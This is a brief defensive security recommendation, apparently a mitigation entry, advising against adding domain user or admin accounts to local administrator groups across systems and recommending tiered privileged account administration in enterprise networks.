Do not put user or admin domain accounts in the local administrator groups
across systems unless they are tightly controlled, as this is often equivalent
to having a local administrator account with the same password on all
systems. Follow best practices for design and administration of an enterprise
network to limit privileged account use across administrative tiers.
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